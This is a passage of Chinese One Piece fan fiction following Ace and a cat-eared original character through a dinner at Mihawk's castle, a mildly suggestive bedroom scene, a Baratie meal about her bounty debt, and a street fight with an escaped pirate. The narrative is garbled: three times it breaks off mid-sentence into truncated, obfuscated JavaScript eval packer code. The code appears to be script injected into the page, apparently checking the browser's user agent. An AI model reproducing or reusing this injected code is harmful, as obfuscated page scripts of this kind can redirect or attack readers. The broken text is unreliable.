然后,他开口了。声音依旧是那种平稳的、带着金属冷质的调子,不高,却清晰地传入每个人耳中。 “佩罗娜,”他叫了粉发少女的名字,目光却未从艾斯和小狸身上移开,“不要总是缠着那位小姐。她需要和自己的恋人独处的时间。” 话音落下。 空气似乎凝滞了一瞬。 “噗——!!!” 索隆一口汤呛在喉咙里,猛地咳嗽起来。他抬起头,先是茫然地看了看鹰眼,然后目光像是第一次真正聚焦一样,在艾斯和小狸之间来回扫视。 那张总是充满战意或困倦的脸上,出现了罕见的、近乎呆滞的空白。仿佛大脑在处理一个极其复杂又简单到可笑的问题:艾斯和小狸?恋人?什么时候?怎么…… 几秒钟后,空白被一种恍然大悟的、直击核心的简洁理解取代。 他嘴角抽了抽。目光落在艾斯搭在小狸椅背上的手臂上——那个姿势很自然,自然到平时根本不会有人注意。又落在小狸瞬间红透的耳根上——红得连烛光都遮不住。 原来如此。 索隆低下头,继续喝汤。但咀嚼的动作慢了很多,像是在消化这个信息。 而佩罗娜的反应则截然不同。 她先是猛地睁大了眼睛,粉色的瞳孔里倒映着烛火和对面两人的身影,小嘴张成了“O”型。随即,一种比她发现新玩具还要强烈十倍的兴奋光芒,在她眼中炸开 “诶——!!!!!!!” 尖叫声几乎掀翻餐厅古老的屋顶。佩罗娜丢下了手里的叉子,整个人激动地飘高了半米,双手捂住脸颊,周身仿佛冒出粉红色的泡泡 “恋人?!艾斯和小狸是恋人?!啊啊啊!我居然没看出来!呵啰呵啰呵啰!!”她兴奋的绕着餐桌转圈,眼睛亮得吓人,在羞得几乎要把脸埋进盘子里的小狸和笑容愈发灿烂得意的艾斯之间疯狂扫视,“怪不得!怪不得火拳他总是黏着小狸!啊啊啊!这简直是太——美好了!比我最喜欢的悲情故事还要美好!双倍的可爱!不,是一百倍的可爱!” 她语无伦次,兴奋得飞来飞去。她看看艾斯,又看看小狸,脸上写满了“我有好多问题要问”。 小狸的脸已经红得快要滴血。她没想到鹰眼会这么随便地、这么突然地、在这种场合说出这种话。她恨不得立刻变成猫钻进桌子底下,或者直接跳窗逃跑——但又舍不得眼前丰盛的晚餐。 纠结之下,她选择装死,闷头吃饭,假装自己什么都没听见。 艾斯则完全相反。他笑得更加灿烂了,甚至有点得意。他伸手揉了揉小狸的头顶,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“索隆……”小狸忽然开口,声音很轻,“最近一直没怎么和我说话,他是不是生气了?我那天差点伤到他……” 艾斯失笑,摇了摇头。 “不是生气。”他说,手指轻轻梳理着小狸的头发,“那家伙……” 他想起索隆最后那个沉静到近乎燃烧的眼神。 “他大概是受到了不小的‘刺激’。对他那种一根筋的修炼狂来说,发现自己还不够强——不管是剑术,还是观察力——就是最大的动力。” 艾斯顿了顿,望向城堡的庭院。那里隐约传来沉重的、有节奏的破风声。 “估计现在正在某个地方,加倍折磨自己呢。” 小狸似懂非懂地“哦”了一声。她对索隆那种纯粹的、近乎偏执的变强欲望,还不能完全理解,但尊重。 “别想了。”艾斯低头,寻到她的唇,轻轻印下一个吻,打断了她的思绪。 这个吻起初温柔,像月光一样轻软。但渐渐加深,带上了这几天被佩罗娜“打扰”而积攒的、以及晚餐时看到她害羞模样而被激起的浓烈情感。 直到小狸呼吸微促,耳根通红,他才略微退开,额头抵着她的,呼吸交融,声音低沉而沙哑: “现在……”他说,手指轻轻摩挲着她的脸颊,“我要开始吃夜宵了。” 小狸眨了眨眼,还没反应过来,就被他打横抱了起来。 “诶?等等——夜宵在厨房……” “我说的不是那个夜宵。” 艾斯抱着她,朝城堡的房间走去。他的脚步很稳,手臂很有力。小狸缩在他怀里,脸埋在他胸口,能听见他稳健的心跳,能闻到他身上熟悉的、温暖的味道。 城堡的灯火在夜色中亮着,像一座温暖的岛屿。厨房的窗口还透着光,里面传来佩罗娜洗碗的水声和哼歌声。更远处,训练场的方向,隐约传来负重挥刀的破风声——一下,又一下,沉重而执着,仿佛永不停歇。 但这一切,在小狸耳中,都渐渐模糊了。 她只听见艾斯的脚步声,只感觉到他的体温,只看见他低头看过来时,那双黑眼睛里映着的、属于自己的影子。 回到房间,艾斯用脚带上门。壁炉里的火还燃着,火光在石壁上投下跳动的影子。 他把小狸轻轻放在床上,然后俯身,双手撑在她身侧。 四目相对。 他单手和她十指相扣,另一只手,已经不安分地滑入了她衣襟的边缘。他的目光专注而深邃,嘴角带着笑意,像是眼中再也装不下其它东西。 小狸抬起手,环住他的脖子,将他拉近。 呼吸交融。 体温相贴。 “艾斯……”她轻声唤他的名字。 “嗯?”他应着,吻落在她颈侧。 “明天……明天……”她的声音断断续续的,颈部传来的酥痒让她控制不住自己的心跳,说不出完整的话 艾斯笑了。低沉的笑声在胸腔里震动,通过紧贴的身体传来。他太懂她了,明明自己主动撩拨又会害羞的不知所措,想办法转移注意,可是现在他可不会给她机会 “明天的事,”他说,手指抚过她的脸颊,目光温柔得像要溢出来,“明天再说。” 然后他吻住她,封住了所有的问题。 窗外的月亮,悄悄躲进云层后面。城堡的灯火,一盏接一盏地熄灭。庭院里的破风声,不知何时也停了下来。 整个克拉伊咖那岛,都沉进了温柔的夜色里。 只有壁炉的火,还在静静地燃着。 噼啪。噼啪。 像心跳,像呼吸,像这个夜晚所有未说出口的小小借口 85.小猫的天价债务 海上餐厅巴拉蒂的大厅,空气中浮动着复杂而诱人的香气——蒜蓉在黄油中爆开的焦香,烤鱼表皮滋滋作响的油脂气息,还有甜点区飘来的、带着焦糖甜腻的蛋挞香气。 小狸的眼睛睁得圆溜溜的,好奇地打量着这个由巨型船只改造而成的奇妙空间。旋转楼梯连接着多层甲板,穿着整齐的侍者托着银质餐盘在桌椅间灵活穿梭,远处开放式厨房里,戴着高高厨师帽的身影正挥舞着锅铲,火焰不时“轰”地窜起,引来客人的低声惊叹。 “两位客人,请问要点些什么?” 侍者的声音带着职业性的礼貌,但目光在落到艾斯光裸的后背上那个醒目的白胡子标志纹身时,不易察觉地顿了一下。 艾斯接过菜单,看都没看就咧嘴一笑:“把你们这里分量最足的肉菜都上一份!” 他说完,又转头问小狸,“小狸想吃什么?” 小狸凑到菜单前,手指点着图片:“这个海鲜炒饭,烤肋排,嗯……这个也要,还有这个蛋糕……” 她点得毫不手软,尾巴在椅子后面轻轻摆动,愉悦极了,这里闻着就好香,东西一定很好吃。 侍者飞快地记录着,额头却渐渐渗出细汗。当小狸终于合上菜单时,他忍不住委婉提醒:“客人,我们这里的菜量很足,而且……主厨哲普先生定下的规矩是,绝不允许浪费食物。” “放心吧!” 小狸拍拍胸口,耳朵自信地竖着,“肯定吃得完!” 侍者的目光飘向艾斯——那位传说中的“火拳”,据说在顶上战争已经……但此刻却活生生坐在这里,看起来胃口好得惊人。他咽了口唾沫,最终还是没再多说,躬身退下。 食物很快如流水般送上。巨大的烤肋排堆成小山,海鲜烩饭盛在脸盆大的浅锅里,披萨的芝士拉出长长的丝,蛋糕旁边的冰淇淋正缓缓融化。 艾斯欢呼一声,叉起一整块肋排就塞进嘴里,满足地眯起眼睛。可没过几分钟,他咀嚼的动作越来越慢,越来越慢……手里的叉子还举着,上面戳着一块金黄的炸鱼,人却已经闭上了眼,发出均匀细微的鼾声。 又来了。小狸无奈地叹了口气,小心翼翼地把叉子从他手里抽出来,免得食物掉地上。她早就习惯了艾斯这种“吃着吃着就睡着”的特异功能,已经学会了不去管他,反正一会就会醒过来的。 她拿起一块披萨咬了一口,酥脆的饼底、嫩滑的鸡肉,浓郁的芝士和柔和的蛋黄酱在口中融合,让她幸福地眯起眼。但很快,她的注意力就转移到桌上那厚厚一沓纸张上——那是他们这段时间搜集的悬赏令,用橡皮筋捆着,边角已经有些卷曲磨损,很多上还带着油渍和食物残渣。 小狸解开橡皮筋,一张张翻看起来。她的表情很认真,眉头微微蹙着,蔚蓝的瞳孔随着指尖在悬赏金额和人物肖像间移动留下痕迹,尾巴无意识地在地板上扫来扫去,发出沙沙的轻响。 周围的窃窃私语声从一开始就没停过。 “看那个纹身……真的是白胡子海贼团……” “火拳艾斯不是死了吗?报纸上明明……” “嘘——小声点!你想被烧成灰吗?” “他旁边那个……是毛皮族?” “蠢货!那是‘凶星’!白胡子海贼团的新星!” “凶星?就是那个在香波地闹出大动静的?” “对,听说她……” “为什么会到东海来……” 声音压得很低,但小狸的耳朵灵敏地捕捉到了每一个音节。她翻动悬赏令的动作顿了顿,循着声音来源,目光平静地扫过去。 那一桌坐着三个男人,打扮粗犷,腰间都别着武器。其中一人的脸,小狸恰好刚刚在悬赏令上见过——“碎刀”杰克,悬赏金一千七百万贝利。照片上的他满脸横肉,眼神凶狠。而此刻现实中的他,在接触到小狸目光的瞬间,脖子下意识地缩了缩,避开了视线。 小狸的视线在他脸上停留了两秒,然后移开,看了看悬赏令,又抬头看向他的脸,在她眼中,“碎刀”杰克不再是一个凶恶的海贼,而是变成了行走的一千七百万贝利。闪闪发亮,充满诱惑。 她的目光又扫向其他几个。那个独眼、脸上有疤的……好像是“独眼龙”汉克,悬赏九百五十万。角落那个戴帽子的瘦高个……悬赏一千两百万。还有那边…… 小狸默默在心里计算着。如果把这些人都“收集”起来,大概能值……三四千万贝利? 不过,在餐厅里动手好像不太礼貌。巴拉蒂的规矩挺严的,听说主厨哲普以前也是个厉害的海贼。要不……等他们离开的时候,尾随一下? 她这个念头刚冒出来,眼神就下意识地变得锐利了一些,那是猎人在评估猎物时的眼神,瞳孔微微收缩,视线再次缓缓扫过那几桌人。 被目光触及的海贼们,齐刷刷地打了个寒颤。 那感觉太诡异了——明明只是被看了一眼,却仿佛被什么危险的猛兽盯上了后背,脖颈后的汗毛都竖了起来。不是杀气,而是一种更微妙、更令人不安的……被评估、被衡量价值的感觉。 窃窃私语声戛然而止。 原本还在偷偷打量、议论纷纷的海贼们,纷纷低下头,死死盯着自己面前的餐盘,恨不得把脸埋进去。刀叉碰撞的声音都轻了许多,气氛一时间有些凝滞。 “……果然是‘凶星’啊。”不知是谁,用气音挤出一句。 小狸的耳朵敏锐地捕捉到了“凶星”两个字,尾巴不悦地甩了一下,在空中划出一道弧线。她准确地看向那个说话的人,我记住你了,混蛋。她在心里给他记了一笔。 就在这时,旁边传来“啊呜”一大口咀嚼的声音。 艾斯不知什么时候已经醒了,正举着叉子,把刚才那块差点掉落的炸鱼塞进嘴里,大口大口地吃着,腮帮子又鼓了起来。他一边吃,一边看着小狸面前摊开的悬赏令,和她那副愁眉苦脸、精打细算的小模样,忍不住笑了,第一次好奇询问“小狸,你到底欠了红发多少钱?” 小狸抬起头,用拇指指腹擦掉艾斯嘴角沾着的深红色酱汁。然后习惯性地舔了舔自己的手指。 “嗯……一个亿。” “噗——!!!” 艾斯嘴里还没来得及咽下的半口烩饭,直接喷了出来,好在及时偏头,全喷在了地上。他咳嗽起来,脸都涨红了,不可置信地瞪大眼睛:“多、多少?!一个亿?!” 小狸敏捷地往旁边挪了挪,她看着艾斯震惊的样子,眨了眨清澈的眼睛,有些不解:“很多吗?” “很多吗?!”艾斯的声音都拔高了,他缓了口气,哭笑不得,“不是……你怎么会欠这么多?红发那家伙到底跟你说了什么?” “那个梳了一头辫子的大叔——好像是叫耶稣布?” 小狸放下叉子,坐直身体,努力回忆着。她学着记忆中的样子,清了清嗓子,努力让自己的声音显得低沉可靠些,她学着耶稣布当时叉腰挺胸、一本正经的表情和语气,“小姑娘,你知道让我们红发海贼团专门跑一趟腿要什么代价吗?” 她顿了顿,继续模仿,“怎么着也得……一亿贝利才行吧!” 艾斯看着她这副懵懂又认真的模样,抬手扶住了额头,肩膀开始微微颤抖。他一开始是想忍住笑的,但越想越觉得荒唐——红发海贼团那帮家伙,肯定是看小狸单纯好骗,随口开了个玩笑逗她玩!结果这只傻小猫,居然当真了!还一本正经地开始攒钱还债! “哈哈……哈哈哈……”艾斯终于忍不住笑出声,越笑越大声,引得周围几桌客人又偷偷看了过来。他笑够了,才抹了抹眼角的泪花,伸手捏了捏小狸的脸颊,他不舍的扫了小狸的兴,笑眯眯的打趣她“所以,我们的小银行家,现在攒了多少了?离‘赎身’还差多少?” 提到这个,小狸立刻恢复了精明的模样。她掰着手指,嘴里念念有词:“一千八……三千五……” 她算得很认真,眉头又微微蹙起,耳朵随着计算时不时抖动一下。 艾斯就托着下巴,笑眯眯地看着她算。阳光透过帆布篷的缝隙,在她低垂的睫毛上投下细密的阴影,鼻尖因为专注而微微皱起,粉色的嘴唇一张一合,吐出一个个数字。可爱得让他想咬一口。 “……除掉给赏金猎人的分成、日常补给,还有送回莫比迪克的那部分……”小狸终于算完了,抬起头,眼睛里里闪烁着兴奋的光芒,“大概还差……四千万贝利!” “四千万啊……”艾斯摸了摸下巴,“还挺多的。不过,我们的小狸已经很努力了嘛!” “那当然啦!”小狸挺起胸膛,尾巴骄傲地高高翘起,尾尖得意地卷了个圈,“我可是很认真的!” 她的目光又不自觉地飘向周围那些“价值连城”的海贼们。这一次,她的眼神更加直白,简直像是在用目光给他们贴价签。嘴角甚至还勾起了一抹极淡的、属于猎人的微笑。 “我还差……四千万贝利呢……”她低声喃喃,声音不大,但在骤然安静的餐厅里,却清晰地传入了每个竖起耳朵的海贼耳中。 那声音轻轻的,甚至有点软,但配合她那“友善”的笑容…… “唰啦——” 椅子摩擦地板的声音接连响起。 “老板!结账!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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派迪报了个数字。小狸打开钱包,仔仔细细地数出相应的贝利,一枚不多,一枚不少,双手递过去。“请收好。” 派迪接过钱,脸色稍霁,但还是嘟囔了一句:“下次记得先付钱再吃……” 他挥挥手,让开了路。 小狸把钱包装好,很自然地拉住艾斯的手。“走吧,哥哥。” 两人一前一后走下楼梯。艾斯回头看了一眼餐厅,对还盯着他们的派迪和厨师们挥了挥手,露出灿烂的笑容:“谢啦!饭很好吃!” 小狸也回头,礼貌地微微躬身,然后拉着艾斯,快步消失在楼梯转角。 甲板上,夕阳正缓缓沉入海平线,把天空和海面染成一片绚烂的金红。 小狸深吸一口带着食物余香和海风咸味的空气,握紧了艾斯的手。 艾斯看着小狸手里的悬赏令 “已经有目标了么?” 小狸点点头,悬赏令在她另一只手里被捏得微微发皱,那上面赫然写着四千三百万这个闪闪发光的数字。 她抬起头,看向艾斯被夕阳勾勒出金边的侧脸,轻声问: “但是,我们要……去哪儿找情报?” 艾斯回握住她的手,指向前方波光粼粼的大海,笑容在暮色中格外耀眼: “天黑前先找个热闹的港口小镇吧!酒馆里消息最灵通了——” “哥哥是想喝酒吧……” “怎么会呢~我可是努力要帮小狸还债啊” 他捏了捏小狸的脸,小狸回头一口咬住他的虎口磨了磨牙 “突然欠了一亿贝利出来,不努力可不行啊!”艾斯拍了拍小狸的头,小狸还咬着不松嘴,牙齿并没有带来刺痛,反而是她柔软的舌尖不经意的划过他的掌心带来的酥痒让他目光暗了暗,小狸意识到气氛似乎有些不对,松开了嘴,一副乖巧至极的模样举着手腕的记录指针 “往那边哦,船长!” 艾斯失笑,弯腰在她的耳朵上惩罚性的轻咬了一下,弄得小猫一个哆嗦,发出软糯的哼唧声 收缴来的船只在海上破浪而行,艾斯看着自己早就已经不顾航向睡得香甜的‘航海士’,把毯子搭在她的身上,轻轻捋了捋她的长发,在她的脸颊落下一个轻飘飘的吻 得知金额前艾斯其实是带着看担忧的心态看着小狸为那债务忙前忙后的,得知金额后的荒谬感反而冲散了那一丝焦虑,变成了看热闹的好笑,现在他还真的有点好奇红发收到那一亿贝利后会是什么反应……那一定,很有趣…… 86.巷尾的挑战者 海风带着咸湿的气息穿过小镇蜿蜒的小巷,小狸嘴里含着刚从街角老婆婆那里买来的橘子糖,清甜的滋味在舌尖化开,让她满足地眯起了眼,尾巴在身后惬意地轻轻摇晃。艾斯走在她身侧,一只手插在裤兜里,另一只手被她牵着,两人的影子在石板路上拉得细长,时不时因为她的蹦跳而交叠在一起。 “等一会‘抓完了鱼’,我们去刚刚路过的那家店吃饭吧,好香……”小狸舔了舔嘴里的糖块,仰头问道。 “好啊,那可要快一点了,我看他们家好像是限量的……”艾斯话说到一半,忽然顿了顿,嘴角弯起一个微小的、几乎难以察觉的弧度。他没转头,只是手指在小狸的掌心轻轻挠了一下。 小狸耳朵敏锐地动了动,捕捉到了身后不远处传来的、过于刻意放轻却依然凌乱的脚步声。那不是成年人的步伐,是个头不高、还不太会隐藏行迹的生手。她侧过头,用眼角的余光飞快地瞥了一眼——两个瘦小的影子在巷口的阳光下一闪而过,躲进了墙角的阴影里。 她捏了捏艾斯的手指作为回应,眼睛里闪过一丝了然和隐隐的顽皮。她拉着他继续往前走,脚步未停,声音却稍微提高了一点,带着恰到好处的疑惑: “说起来,哥哥,”她晃了晃两人交握的手,“他们已经跟了我们两条街了……是你认识的人嘛?” 艾斯配合地“嗯?”了一声,仿佛刚刚察觉,也回头随意地扫了一眼身后空荡荡的巷道。“有吗?大概是顺路吧。”他的语气轻松,但那双总是带着暖意的黑眼睛里,此刻却跳跃着恶作剧般的光。 小狸立刻读懂了他的潜台词。她忍住笑意,也故意用能让后面听清的音量大声回应:“哦——那一定只是路过的邻居吧!不要在意啦,我们快走吧!” 同时,她拉着艾斯,脚步看似未变,却在经过一个堆满废弃木箱的岔路口时,极其自然地、仿佛只是随意选择般,拐了进去。 这是一条更窄的死巷,尽头堆着杂物,光线昏暗,脚步声戛然而止。 巷口处,两个小小的脑袋小心翼翼地探了出来。 “强、强尼!他们不见了!”稍矮一点、脸上带着雀斑的男孩紧张地抓住身边伙伴的袖子。 被称为强尼的男孩年纪稍长,约莫八九岁,左眼上蒙着一个黑色的旧眼罩,边缘已经磨损发白。他皱起眉头,右眼里满是困惑和不信邪。“不可能!这条巷子是死路!他们肯定躲在里面!”他压低声音,带着一种故作老成的分析口吻。 两人踮着脚尖,屏住呼吸,像两只暗搓搓的小老鼠,蹑手蹑脚地蹭进巷子。雀斑男孩紧张得同手同脚,眼睛四处乱瞟;强尼则努力挺直瘦小的身板,装作不经意地左右张望,还拙劣地吹起了断断续续、根本不成调的口哨,只是那双眼睛,总忍不住往巷子深处那几个巨大的空木箱后面瞄。 如果是真正的跟踪与伏击,他们的表现简直漏洞百出到令人发笑。 就在他们走到巷子中段,距离那堆木箱还有几步之遥时—— “把手举起来。” 一个冰冷、毫无起伏的女声,毫无预兆地紧贴着他们背后响起。 刹那间,两个孩子像是被冻住了,浑身僵硬。一股冰冷的战栗从脊椎骨窜上后脑勺。他们能感觉到,有什么坚硬、尖锐的东西,正抵在两人的后心窝处。 “对、对对不起!!”雀斑男孩的眼泪瞬间涌了上来,声音抖得不成样子。他甚至不敢回头,只是高高举起了双手,细瘦的手臂在空中不住地颤抖。 强尼也好不到哪里去,他咬紧牙关,也举起了手,努力想让自己显得镇定些,但发软的膝盖和颤抖的嗓音出卖了他:“不、不要杀我们……我们……我们什么都没干……” 话音刚落—— “咚!咚!” 两根小木棒不轻不重的敲了敲两人的脑袋。 “哇啊!”两个孩子同时痛呼,捂着脑袋往前踉跄了一步。 那个冰冷的感觉消失了,取而代之的是一串银铃般的清脆笑声。 小狸从他们身后绕了出来,手里拿着的哪里是什么凶器,不过是两根不知从哪个木箱上掰下来的细长木棍。她脸上带着恶作剧得逞的灿烂笑容,眼睛弯成了月牙,尾巴在身后愉快地晃动。 “噗……哈哈哈哈!”她看着两个小孩惊魂未定、眼泪汪汪又满脸懵圈的样子,笑得差点直不起腰,“胆子这么小,学什么别人跟踪呀?万一遇到的是真正脾气不好的家伙,可是会被狠狠欺负的哦!” 她笑够了,才擦了擦眼角的泪花,蹲下身来,让自己的视线和两个孩子齐平。夕阳的余晖从巷口斜射进来,给她镀上了一层毛茸茸的金边,也让她脸上狡黠的笑容显得柔和了许多。 “所以呢?”她歪了歪头,耳朵随之动了动,声音恢复了平时的轻软,“一直跟着我们,是有什么事吗?迷路了?还是想要糖果?”她说着,还真从口袋里摸出了两颗剩下的橘子糖,摊在掌心递过去。 两个孩子呆愣地看着她掌心的糖果,又看看她带着善意询问的笑脸,一时反应不过来。 他们对视了一眼,雀斑男孩看向强尼。强尼抿紧了嘴唇,独眼里闪过挣扎,但最终,两个男孩还是同时用力摇了摇头,紧闭着嘴,一个字也不肯说。 这下,小狸也有点没辙了。她眨了眨眼,又仔细打量了他们一番——衣服虽然旧,但还算整洁;脸上有点脏,像是玩闹时蹭的灰;眼神里有害怕,但深处似乎还藏着点别的,像是……固执?或者不甘? 她还想再问,靠在巷口墙边的艾斯已经悠闲地打了个长长的哈欠,声音带着笑意传来: “该走啦,小狸。再磨蹭下去,咱们盯上的‘大鱼’,可就要溜出港口咯。” “来了来了!”小狸应道,最后拍了拍两个孩子的头——手感毛茸茸的,有点像小动物。“记住姐姐的话哦,别随便跟着陌生人,很危险的。”她站起身,不再纠结,转身朝艾斯快步跑去。 刚跑出两步—— “受死吧!火拳艾斯——!!” 一声用尽全力、稚嫩却充满“杀气”的大吼自身后炸响! 紧接着是急促的脚步声和木棍破空的风声。 艾斯甚至没完全转身,只是随意地一侧身,那根从路边捡来的、比男孩手臂粗不了多少的木棍就擦着他的衣角挥空了。他顺手一捞,精准地握住棍身,稍一用力就夺了过来,另一只手则闪电般伸出,揪住了袭击者——正是那个雀斑男孩的后衣领,像拎小猫一样把他提到了半空。 “瞎喊什么呢?”艾斯挑眉,用刚抢来的木棍,同样不轻不重地敲了下男孩的脑袋。 “放开我!放开我!你这该死的海贼!混蛋!大坏蛋!”男孩在半空中奋力挣扎,小拳头小脚胡乱踢打,可惜臂长腿短,全都落在了空处,只把自己累得气喘吁吁。 小狸停下脚步,惊讶地回头。她看向旁边那个已经举起另一根木棍、独眼里充满戒备和紧张、仿佛随时准备冲上来的强尼,心里首先升起的不是被袭击的恼怒,而是一丝……心虚? 他们的目标好明确,点名要找火拳艾斯,果然是认识他吧…… 她清了清嗓子,试探性地、语气非常友好地开口问道:“那个……艾斯,对你们做过什么么?是吃了霸王餐么……”她越想越觉得有可能,赶紧补充,“如果是的话,我们道歉!钱我会补上的!” “小狸!”艾斯一边躲开雀斑男孩又一记无影脚,一边哭笑不得地喊冤,“我也不是走到哪里都吃霸王餐的好吗!哎哟,臭小子,别踢了!”他实在怕自己绷着的肌肉伤到这孩子,只好手臂一松,把他放回地上。 双脚一沾地,男孩就像受惊的兔子般猛地向后蹦开,迅速跑回强尼身边,两个人再次并肩,举起木棍对准艾斯,一副同仇敌忾的架势。 雀斑男孩喘着粗气,脸颊因为激动和用力涨得通红,但他努力挺起单薄的胸膛,用那双亮得惊人的眼睛死死瞪着艾斯,大声宣告: “火拳艾斯!我在报纸上看过你的照片!绝对不会认错的!我要打败你!然后用你的脑袋去换赏金!我打探过了,你这家伙看起来傻乎乎的,那十亿贝利我一定会拿到手的!” 巷子里安静了一瞬。 艾斯眨了眨眼,用手指了指自己的鼻子,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小狸愣住了,随即脸上的笑容扩大,变得更加真实而温暖。“哎呀,”她轻声说,这次没忍住,还是伸手揉了揉他柔软的头发,“你还……怪绅士的嘛。” “不可以随便摸男人的头!”男孩再次抗议,但这次气势明显弱了不少,耳朵尖有点发红。 “你离‘男人’还早得很呢,小鬼。”艾斯不知何时走了过来,屈起手指,给了雀斑男孩一个结实的脑瓜崩。“想打败我?再锻炼一百年吧!” “唔!”男孩捂住额头,这下真的很疼,疼的他眼泪汪汪,但他死死咬住嘴唇,倔强地不让眼泪掉下来。 艾斯看了他一眼,没再继续逗弄,转而看向巷口渐渐暗下来的天色,语气随意却带着一丝不易察觉的告诫:“快回家吧,天快黑了。一会这附近会很乱的,不要误伤到你了” 他说的是实话。小狸和艾斯两个人早就锁定了目标,虽然不是计划中的大家伙,倒也是一个逃出推进城的有名有姓的海贼。他们一路跟过来,如果不是遇到这事本来都准备收网了。 两个男孩没有再大喊大叫,也没有再试图攻击。他们只是站在原地,用那种混合着不甘、好奇和一丝说不清道不明的情绪的眼神,望着艾斯和小狸。 小狸对她们挥了挥手,转身跟上已经朝巷外走去的艾斯。两人的对话随风飘来,轻松得不像即将要去面对凶恶海贼,倒像是结束了一场愉快的散步。 “不过艾斯,你现在的赏金居然有十亿了?我都没看到最新的悬赏令。” “大概是终于意识到我还活着这件事瞒不住了吧?哈哈哈,我都能想象到那些大人物气急败坏的样子了。” “他刚刚是不是说,我也有一个亿了?哎呀,这么算的话……岂不是把我‘卖掉’,就刚好够还红发的钱了?” “那可不行。” “诶?为什么?” “因为——”艾斯的声音带着浓浓的笑意,在渐浓的暮色中格外清晰,“你不是早就用一贝利,把自己卖给我了吗?概不退货哦。” “艾斯!!!你又提这个!!!” 紧接着是嬉笑打闹的声音和逐渐远去的脚步声。 强尼和雀斑男孩站在原地,看着那两道身影在巷口的光亮中消失。海风卷起地上的落叶,打着旋儿从他们脚边掠过。 他们对视一眼。 强尼的独眼里光芒闪烁。 雀斑男孩擦了下鼻子,握紧了小拳头。 没有任何言语,两个孩子却像是达成了某种默契。他们最后望了一眼艾斯和小狸离开的方向,然后,像两只决心冒险的小兽,小心翼翼却又异常坚定地迈开脚步,再次坚决地跟了上去。 87.黑吃黑 毫不意外的,想要网住一条大鱼没有那么简单,更何况目标是当初在推进城事件中逃脱出来的大海贼 为了防止目标溜走,艾斯绕路先行前往前方拦截,小狸在后面追捕,本来认为敌人是和过去那些小鱼小虾一样的货色,完全没有想到他会在闹市堂而皇之的突然发动攻击,爆炸的气浪瞬间掀翻了路边的小摊,人们惊叫着远离此地 轰鸣还在狭窄的街道间回荡,硝烟混着尘土的气味十分呛人,几个被气浪掀翻的摊主正心有余悸地躲在远处,既心疼货物,又不敢靠近这片突然变成战场的街区 小狸从半蹲的姿势缓缓站直,覆盖着淡淡漆黑光泽的手臂放下——那是卡普“爱心铁拳”特训留下的、近乎本能的武装色霸气。她甩了甩有些发麻的手腕,尾巴在身后警惕地竖起,瞳孔穿透渐渐散去的烟尘,锁定了那个并未趁机逃跑的身影 悬赏金四千七百万贝利的“炮击手”巴里正站在一片狼藉中,右手那柄改装过的粗大手炮还冒着缕缕青烟。他脸上没有预想中的惊慌或急于脱身,反而咧开嘴,露出被烟草熏黄的牙齿,笑容里满是嚣张与一种近乎癫狂的兴奋。 “就凭你?白胡子船上乳臭未干的小丫头,也想把爷爷我抓去换赏金?!”巴里的声音粗嘎,带着推进城囚犯特有的、对“自由”病态的执着与对秩序的憎恨,“你知道老子为了从那鬼地方逃出来,付出了多少吗?!啊?!受死吧!” 话音未落,他的手炮再次发出充能的嗡鸣,炮口红光凝聚 小狸目光微闪,灵巧的闪躲腾挪,在雨棚和路边民居的阳台间跳跃,速度快的惊人。 “啧!”巴里啐了一口,炮口急速移动,连连发射。轰轰轰!爆炸声接连不断,墙壁被炸出坑洞,路面开裂,货架倒塌,整条小巷瞬间被火光和烟尘笼罩。 然而,那道娇小的黑色身影却像暴风雨中的海燕,在爆炸的间隙与建筑的阴影间灵巧穿梭。她甚至有余暇在经过一个倾倒的货架时,顺手抽走了一卷结实的粗麻绳,将绳子一头在手腕上绕了两圈。 巴里的额头开始渗出冷汗。这不对劲!这少女的速度太快了,而且……太冷静了!在这样密集的炮火下,她居然还有心思“拿”东西?! 就在他一个短暂充能的间隙,那道黑影如同鬼魅般,穿透了尚未散尽的硝烟,骤然出现在他眼前咫尺之处! “什——?!”巴里瞳孔骤缩,汗毛倒竖。他甚至没看清对方是怎么过来的! 小狸的眼神平静无波,手腕一抖,那卷麻绳如同有生命般窜出,精准无比地套上了巴里的脖颈,随即被她用力一拉、一绕,粗糙的绳索瞬间勒紧气管 “呃!咕……!” 巴里双眼暴凸,求生的本能让他立刻松开了手炮,双手死命抠向颈间的绳索,指甲在粗糙的麻绳和自己皮肤上抓出血痕,脸色迅速由红转紫。 得手了?小狸目光微凝,手上力道不减。然而,就在巴里看似快要失去意识的那一刻 他那双充血的眼睛里,陡然闪过一丝疯狂与狡诈! “你……上当了小猫!!!” 嘶哑的吼叫从被扼住的喉咙里挤出,紧接着,巴里的整个头颅,从额头到下巴,皮肤与骨骼竟如同熔化的蜡一般诡异变形、重塑,瞬间变成了一个更大、更狰狞的漆黑炮口!那根紧紧勒在“脖子”上的麻绳,因为失去着力点,顿时松脱滑落 炮口深处,危险的红光以前所未有的亮度疯狂凝聚、压缩,发出高频的刺耳嗡鸣,炽热的气浪甚至灼烧了周围的空气 “老子是吃了‘炮炮果实’的能力者啊!蠢货!”巴里发出扭曲的狂笑,声音仿佛直接从炮管深处震动传出,“去死吧!!!” 致命的红光即将喷薄 千钧一发之际,小狸将身体压缩到极致,双腿爆发出惊人的力量向身侧弹射而起。几乎同时,炽热的光柱擦着她的鞋底轰然射出,她身后的一堵砖墙瞬间被轰的粉碎 “喂!”小狸落在旁边一个残存的屋顶边缘,声音里终于带上了明显的恼怒,她指着下方一片狼藉的街道,“你这家伙!打坏的东西、掀翻的摊子,我待会可是要从你的赏金里扣钱来赔的!不准再搞破坏了!听到没有!” 回应她的,是更加疯狂、更加密集的炮火。 